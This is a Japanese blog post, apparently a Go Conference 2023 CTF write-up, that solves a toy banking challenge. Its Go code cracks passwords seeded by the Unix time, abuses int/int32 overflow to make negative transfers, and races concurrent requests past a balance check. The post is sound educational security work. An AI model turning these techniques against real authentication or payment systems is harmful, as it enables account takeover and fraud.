GoCon2023だのCTF Writeupだの
こんにちは、びしょ〜じょです。 パンを作りすぎてゲームする時間がなくなりました。
はじめに
さて本日はGo Conference 2023が開催された。 弊社はプラチナスポンサーとして協賛しており、自分は一応スタッフ枠で参加したが、セッションを聞いて回ってました。
また、弊社はCTFを出題していたのでした。
今回もカンムから GoCon CTF (= Capture the Flag) を出題します!Gopher のみなさんなら誰でも楽しめるような内容になっています!
— knee (@mururururu) June 2, 2023
お昼休みの暇つぶしとかセッションの合間、はたまたお仕事の気分転換などに!最初にゴールに辿り着くのはあなたです! #gocon
問題はこちら: https://t.co/C35CXVlTNO
CTFまともに解けたの初めてでテンションアゲアゲマックなんで、解説していく。
出題者によるプロの解説もよければ御覧ください。
Cracking password
Dockerを走らせると、インメモリDB(ただのGoのmap
)にaliceさんとbobさんの残高が保存される。
各人の初期パスワードは、それぞれtime.Now().UnixNano()
をseedとして渡したgeneratePassword
により生成されている。
一方、resetPassword
をみるとseedがtime.Now().Unix()
になってる!
/password-reset
を叩いた時間の秒数まで分かればパスワードが割れるわけですね。
ガバガバセキュリティだぜ。
初期パスワードのことは忘れて/password-reset
を叩いてぶっこ抜く。
func crackPwd(u *User) {
t := time.Now().Unix()
passwordReset(u)
// 秒なんで適当に揺らすガバ実装
for i := t; i<=t+4; i++{
u.Password = generatePassword(i) // main.goからコピペする
r, _ := balance(u)
if r != `{"error": "Authentication failed"}` {
fmt.Printf("%+v\n", u)
return
}
}
panic(fmt.Sprintf("could not crack password for user %s", u.Id))
}
...
alice := &User{Id: "alice"}
bob := &User{Id: "bob"}
crackPwd(alice) // ☑
crackPwd(bob) // ☑
やったぜ。
残高0からの送金スキーム
あとは残高をブチ上げれば良い。 しかし…。
r, _ := transfer(alice, bob, "10000")
println(r)
// {"error": "Insufficient balance"}
そう、aliceもbobもお金を持っていないのである。
r, _ := transfer(alice, bob, "-10000")
println(r)
// {"error": "Amount validation failed: -10000"}
マイナス送金は別の判定らしい。 判定部分を見てみましょう。
func transfer(w http.ResponseWriter, r *http.Request) {
...
amount, err := strconv.Atoi(req.Amount)
...
// 残高チェック
if int(users[from].Balance) < amount {
...
}
// 送金額のバリデーション
if int32(amount) < 0 || int32(amount) > 1000000 {
...
}
// 上限チェック
if users[to].Balance+int32(amount) > 9999999 {
...
}
...
// 残高の移動
users[from].Balance = users[from].Balance - int32(amount)
users[to].Balance = users[to].Balance + int32(amount)
w.Write([]byte("{\"success\": true}")) // #nosec G104
}
おいなんか…int
とint32
が混在してますなが:
-
UserInfo.Balance
はint32
-
amount
はint
- 残高チェックは
int
- 送金額のバリデーションは
int32
- 上限チェックは
int32
- 残高の移動の演算は
int32
ここでおもむろにREADMEの注意事項を見てみると、
64bitプラットフォームを対象とした問題です
なるほど。64bitプラットフォーム上でのint
は64bitとなる。
このことから、先程のマイナス送金は許容されること、リクエストに渡される 送金額のバリデーション、残高の移動がint32
上の演算となることを併せて考えると、みんな大好きオーバーフローでバグらせればOKっぽいですね。
オフセットを64bitの最小値として、送金したい金額に足してやればマイナス送金で実質的に残高の移動が実現できそう。
offset := -1<<63
amount := offset + 10000
r, _ := transfer(alice, bob, fmt.Sprint("%d", amount))
println(r)
// {"success": true}
bobAmount, _ := balance(bob)
println(bobAmount)
// {"balance": "10000"} ☑
aliceAmount, _ := balance(alice)
println(aliceAmount)
// {"balance": "-10000"}
ヨッシャ! aliceはCTFのために借金してくれ!!
Over the boundary
さて、あとは送金しまくってフラグが得られる残高9999999を超えればよい。 送金額のバリデーションから、1回に送れる最大金額は1000000。 したがって、10回送金すればフラグゲット。
for i := 0; i < 10; i++ {
r, _ := transfer(alice, bob, fmt.Sprintf("%d", amount))
if r != `{"success": true}` {
println(r)
panic("failed to transfer")
}
}
// {"error": "Balance validation fialed: 1000000"}
// failed to transfer
…のはずだったが、どうやら残高の上限に当たったらしい。 なんやねん残高の上限ってこれでは5000兆円手に入っても預けられないやん…とにかく上限判定部分を見直すしかない。
func transfer(w http.ResponseWriter, r *http.Request) {
...
// 上限チェック
if users[to].Balance+int32(amount) > 9999999 {
msg := fmt.Sprintf("{\"error\": \"Balance validation failed: %d\"}", int32(amount))
http.Error(w, msg, http.StatusMethodNotAllowed)
return
}
...
}
ファッう〜ん…。 送金処理も見てみる。
// 上限チェック
if users[to].Balance+int32(amount) > 9999999 {
...
}
...
// 残高の移動
users[from].Balance = users[from].Balance - int32(amount)
users[to].Balance = users[to].Balance + int32(amount)
...
なんかここクサいんだよね、users[to].Balance
を変数に束縛してないで毎度参照している。
これってつまり…残高が上限を超える送金額を小分けにして各リクエストの上限判定を通せるんじゃない?
いろんなセッションでgoroutineなどの並行並列よもやま話を聞いてきたお陰で脳が活性化しました。
上限ギリギリから再スタートするとすぐ上限に当たってしまうので、Dockerを再起動してから回します。
count := 10
wg2 := &sync.WaitGroup{}
wg2.Add(count)
for i := 0; i < count; i++ {
go func() {
r, _ := transfer(alice, bob, fmt.Sprintf("%d", uf+soukinMax))
println(r)
wg2.Done()
}()
}
wg2.Wait()
ans, _ := balance(bob)
println(ans)
// {"balance": "10000000", "flag": "kanmu_ctf_2023{https://public.kanmu.jp/gocon2023/congratulations-Y8RYX3gmMZ.html}"}
ッシャオラア!!! capture the flagじゃい!!!
FlagがURLになっており、図1のようなウェブページが見られる。
解けたナリ〜 #goconhttps://t.co/j3Q3LQQlUt
— びしょ〜じょ (@Nymphium) June 2, 2023
最後に、全体像を貼っておきます。
func generatePassword(seed int64) string {
// 割愛
}
func clackPwd(u *User) {
t := time.Now().Unix()
passwordReset(u)
for i := t - 2; i <= t+4; i++ {
u.Password = generatePassword(i)
r, _ := balance(u)
if r != `{"error": "Authentication failed"}` {
fmt.Printf("%+v\n", u)
return
}
}
panic(fmt.Sprintf("could not crack password for user %s", u.Id))
}
func main() {
wg := &sync.WaitGroup{}
wg.Add(2)
alice := &User{Id: "alice"}
bob := &User{Id: "bob"}
go func() {
clackPwd(alice)
wg.Done()
}()
go func() {
clackPwd(bob)
wg.Done()
}()
wg.Wait()
offset := -1 << 63
amount := fmt.Sprintf("%d", offset + 1000000)
count := 10
wg2 := &sync.WaitGroup{}
wg2.Add(count)
for i := 0; i < count; i++ {
go func() {
transfer(alice, bob, amount)
wg2.Done()
}()
}
wg2.Wait()
ans, _ := balance(bob)
println(ans)
}
...
おわりに
aliceさんはマイナス残高を清算してください。